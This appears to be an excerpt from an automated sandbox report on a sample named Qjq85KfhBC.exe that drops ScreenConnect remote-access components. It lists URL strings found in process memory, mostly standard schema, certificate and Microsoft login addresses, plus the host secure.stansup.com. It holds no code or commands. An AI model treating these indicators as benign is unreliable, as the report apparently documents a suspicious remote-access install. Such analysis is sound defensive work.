Source: svchost.exe, 00000008.00000002.2606300505.000001E11B96E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-
Source: svchost.exe, 00000008.00000003.1416236491.000001E11B955000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 00000008.00000002.2606300505.000001E11B96E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd0
Source: svchost.exe, 00000008.00000002.2606300505.000001E11B95F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdes
Source: svchost.exe, 00000008.00000003.1417148795.000001E11B952000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdng
Source: svchost.exe, 00000008.00000002.2606300505.000001E11B96E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds
Source: svchost.exe, 00000008.00000002.2606300505.000001E11B95F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2606146070.000001E11B902000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2606300505.000001E11B96E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1449163032.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1417148795.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1416236491.000001E11B955000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 00000008.00000002.2606300505.000001E11B96E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd(
Source: svchost.exe, 00000008.00000003.1417148795.000001E11B952000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd04/01
Source: svchost.exe, 00000008.00000002.2606300505.000001E11B96E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdlepk
Source: svchost.exe, 00000008.00000002.2606300505.000001E11B95F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdsx
Source: svchost.exe, 00000008.00000002.2606300505.000001E11B96E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdx
Source: qmgr.db.7.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.7.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.7.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.7.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.7.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.7.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.7.dr String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: dfsvc.exe, 00000001.00000002.2239079967.0000021CE8ECB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://iptc.org/std/Iptc4xmpCore/1.0/xmlns/Mic
Source: dfsvc.exe, 00000001.00000002.2239079967.0000021CE8ECB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ns.adobe.
Source: dfsvc.exe, 00000001.00000002.2239079967.0000021CE8ECB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ns.adobe.c
Source: Qjq85KfhBC.exe, 00000000.00000002.1445501228.000000000109C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digi
Source: dfsvc.exe, 00000001.00000002.2237356712.0000021CE89F0000.00000004.00000020.00020000.00000000.sdmp, C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F1410.1.dr String found in binary or memory: http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxX
Source: Qjq85KfhBC.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://ocsp.digicert.com0
Source: Qjq85KfhBC.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://ocsp.digicert.com0A
Source: Qjq85KfhBC.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: Qjq85KfhBC.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://ocsp.digicert.com0X
Source: dfsvc.exe, 00000001.00000002.2237356712.0000021CE89F0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com:80/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7Nfjgt
Source: dfsvc.exe, 00000001.00000002.2239737047.0000021CEA8E0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.cr
Source: dfsvc.exe, 00000001.00000002.2238360883.0000021CE8AA7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedRootG4.crll
Source: svchost.exe, 00000008.00000003.1455371851.000001E11BE3F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1421900547.000001E11B0F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://passport.net/tb
Source: svchost.exe, 00000008.00000002.2606257745.000001E11B937000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: svchost.exe, 00000008.00000003.1449293708.000001E11B92B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2606257745.000001E11B937000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1433346941.000001E11B92B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2606300505.000001E11B95F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1416236491.000001E11B955000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 00000008.00000002.2606300505.000001E11B96E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policysrf
Source: svchost.exe, 00000008.00000002.2606300505.000001E11B95F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: svchost.exe, 00000008.00000002.2606257745.000001E11B937000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scken
Source: svchost.exe, 00000008.00000002.2606257745.000001E11B937000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2606300505.000001E11B95F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1416236491.000001E11B955000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: svchost.exe, 00000008.00000003.1433983414.000001E11B959000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1417812360.000001E11B930000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1449639366.000001E11B077000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1417812360.000001E11B929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2606300505.000001E11B96E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605566534.000001E11B07A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: svchost.exe, 00000008.00000002.2606537340.000001E11BE4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2606300505.000001E11B96E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: svchost.exe, 00000008.00000002.2606300505.000001E11B96E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD023A000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000C.00000002.1810637519.0000000001CB5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD0924000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://secure.stansup.com
Source: Amcache.hve.6.dr String found in binary or memory: http://upx.sf.net
Source: Qjq85KfhBC.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD081A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.w3.o
Source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD081A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD051A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD083D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD08A4000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.1752587348.0000000001622000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.w3.or
Source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD02B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2core
Source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD02B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2coreS
Source: svchost.exe, 00000008.00000003.1455330524.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605934744.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1421900547.000001E11B102000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384032583.000001E11B94D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 00000008.00000003.1383599992.000001E11B92C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384319759.000001E11B956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384032583.000001E11B94D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601Auth
Source: svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 00000008.00000003.1455330524.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384319759.000001E11B956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605934744.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1421900547.000001E11B102000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384319759.000001E11B956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384319759.000001E11B956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384319759.000001E11B956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384032583.000001E11B94D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 00000008.00000003.1384032583.000001E11B94D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601roofManage
Source: svchost.exe, 00000008.00000003.1384032583.000001E11B94D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603rf
Source: svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604fg:Complet
Source: svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605teAccountC
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384050065.000001E11B93B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384073807.000001E11B957000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384099647.000001E11B940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/msangcwam
Source: ScreenConnect.Core.dll0.1.dr String found in binary or memory: https://feedback.screenconnect.com/Feedback.axd
Source: edb.log.7.dr String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000007.00000003.1377739911.000002074AE00000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr, edb.log.7.dr String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live
Source: svchost.exe, 00000008.00000003.1455330524.000001E11B0F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605934744.000001E11B0F6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/
Source: svchost.exe, 00000008.00000003.1384050065.000001E11B93B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384099647.000001E11B940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384319759.000001E11B956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000008.00000003.1383839850.000001E11B952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384319759.000001E11B956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B929000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000008.00000003.1384151397.000001E11B96B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502rise
Source: svchost.exe, 00000008.00000003.1384151397.000001E11B96B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600gin.
Source: svchost.exe, 00000008.00000003.1383599992.000001E11B92C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384151397.000001E11B96B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601/log
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384050065.000001E11B93B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384099647.000001E11B940000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 00000008.00000003.1384050065.000001E11B93B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384099647.000001E11B940000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ManageApprover.srf215
Source: svchost.exe, 00000008.00000003.1384050065.000001E11B93B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384099647.000001E11B940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 00000008.00000003.1383727399.000001E11B04E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/RST2.srferSs
Source: svchost.exe, 00000008.00000003.1383727399.000001E11B04E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 00000008.00000003.1384050065.000001E11B93B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384099647.000001E11B940000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/didtou.srfo.srf
Source: svchost.exe, 00000008.00000003.1455330524.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605934744.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1421900547.000001E11B102000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/getr
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384050065.000001E11B93B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384099647.000001E11B940000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 00000008.00000002.2606257745.000001E11B937000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1455330524.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384050065.000001E11B93B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384099647.000001E11B940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605934744.000001E11B102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1421900547.000001E11B102000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 00000008.00000003.1384319759.000001E11B956000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsec
Source: svchost.exe, 00000008.00000003.1383727399.000001E11B04E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000008.00000003.1383727399.000001E11B04E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srfe/dev
Source: svchost.exe, 00000008.00000003.1383727399.000001E11B04E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000008.00000003.1383727399.000001E11B04E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srfsoftonline.
Source: svchost.exe, 00000008.00000003.1383727399.000001E11B04E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384117488.000001E11B963000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srfate.srf
Source: svchost.exe, 00000008.00000002.2605455938.000001E11B02F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cpsrf
